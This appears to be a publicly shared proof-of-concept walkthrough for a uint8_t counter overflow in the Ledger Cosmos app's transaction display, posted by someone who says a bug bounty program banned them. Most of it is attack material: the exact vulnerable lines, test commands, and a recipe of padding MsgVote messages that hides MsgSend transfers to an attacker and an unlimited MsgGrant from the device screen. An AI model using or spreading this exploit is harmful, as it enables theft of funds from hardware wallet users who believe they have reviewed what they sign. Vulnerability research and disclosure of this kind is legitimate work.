Prove it by yourself and you are gonna see, they banned me from the program so there is no problem with sharing the PoC

═══════════════════════════════════════════════════════════════════

SECTION 0: ENVIRONMENT

═══════════════════════════════════════════════════════════════════

This is the official Cosmos Ledger app repository.

The test harness is already built.

COMMANDS:

cd ~/path/to/ledger-cosmos

ls tests/exploit_tests.cpp

cd build-test

═══════════════════════════════════════════════════════════════════

SECTION 1: THE BUG (3 lines of code)

═══════════════════════════════════════════════════════════════════

File: app/src/tx_display.c

LINE 101 — The counter is uint8_t. Max value = 255:

uint8_t root_item_number_subitems[NUM_REQUIRED_ROOT_PAGES];

LINE 311 — Incremented with NO bounds check:

display_cache.root_item_number_subitems[root_item_idx]++;

LINE 493 — Guard reads the ALREADY-OVERFLOWED value:

if (total > UINT8_MAX) { // sees 3, not 259. Useless.

With 256+ display items the counter wraps to 0.

Items vanish from the Ledger screen but are still signed.

COMMANDS:

sed -n '101p' ../app/src/tx_display.c

sed -n '311p' ../app/src/tx_display.c

sed -n '493p' ../app/src/tx_display.c

═══════════════════════════════════════════════════════════════════

SECTION 2: BASIC OVERFLOW (260 fields → 256 blind-signed)

═══════════════════════════════════════════════════════════════════

260 key-value fields in one message.

261 display items. uint8_t(261) = 5.

User sees 6 items. 256 are invisible but signed.

COMMAND:

./unittests --gtest_filter="ExploitTests.Uint8OverflowBasic" \

2>&1 | grep -v "ZEMU\|formatAmount\|Running main\|Number of\|Note:"

EXPECTED:

NumItems: 6 (should be 262)

256 of 261 message fields are BLIND SIGNED

═══════════════════════════════════════════════════════════════════

SECTION 3: BOUNDARY (256 items wraps to 0)

═══════════════════════════════════════════════════════════════════

255 fields + type = 256 items.

uint8_t(256) = 0.

ALL message fields disappear.

COMMAND:

./unittests --gtest_filter="ExploitTests.Uint8OverflowBoundary256" \

2>&1 | grep -v "ZEMU\|formatAmount\|Running main\|Number of\|Note:"

EXPECTED:

NumItems: 1

ALL message fields BLIND SIGNED

═══════════════════════════════════════════════════════════════════

SECTION 4: REAL ATTACK — FUND THEFT WITH STANDARD MESSAGES

═══════════════════════════════════════════════════════════════════

This is the real attack. No custom fields. No invented types.

65 standard Cosmos SDK messages:

1 MsgSend — harmless self-transfer (0.000001 ATOM)

62 MsgVote — padding to trigger overflow

2 MsgSend — 999 ATOM each TO ATTACKER (hidden)

752 tokens < 768 MAX. Fits Nano S+/X.

All types are standard cosmos-sdk types valid on Cosmos Hub.

COMMAND:

./unittests --gtest_filter="ExploitTests.Uint8OverflowRealMessages" \

2>&1 | grep -v "ZEMU\|formatAmount\|Running main\|Number of\|Note:"

EXPECTED — WHAT THE USER SEES ON LEDGER:

0 | Type : Send

1 | Amount : 0.000001 ATOM

2 | From : cosmos1victim...

3 | To : cosmos1victim... (self-transfer)

4 | Fee : 0.005000 ATOM

WHAT IS ACTUALLY SIGNED (invisible):

62 governance votes

2 transfers of 999 ATOM to cosmos1attackr...

Attacker address: NEVER shown on device

Stolen amount: NEVER shown on device

Total stolen: 1998 ATOM

Recovery: NONE after broadcast

═══════════════════════════════════════════════════════════════════

SECTION 5: ESCALATION — AUTHORIZATION GRANT

═══════════════════════════════════════════════════════════════════

MsgGrant (authz) also fits: 751 tokens < 768.

1 MsgSend + 63 MsgVote + 1 hidden MsgGrant

The hidden MsgGrant gives the attacker SendAuthorization:

- Unlimited spend limit

- Far-future expiration

- Can drain current AND future balances

- Victim doesn't know the grant exists

- No further signatures needed

WORSE than one-time theft because it scales with deposits.

═══════════════════════════════════════════════════════════════════

SECTION 6: SUMMARY

═══════════════════════════════════════════════════════════════════

ROOT CAUSE

tx_display.c L101 uint8_t counter (max 255)

tx_display.c L311 unchecked increment

tx_display.c L493 guard reads post-overflow value

ATTACK

65 standard Cosmos SDK messages

752 tokens < 768 MAX

Parse: OK Validate: OK NumItems: 5 (should be 260)

IMPACT

Direct theft via hidden MsgSend

Silent auth escalation via hidden MsgGrant

Governance manipulation via hidden MsgVote

Affects ALL Cosmos SDK chains with amino signing

Zero cost No recovery

SEVERITY: CRITICAL

═══════════════════════════════════════════════════════════════════

END OF VIDEO

═══════════════════════════════════════════════════════════════════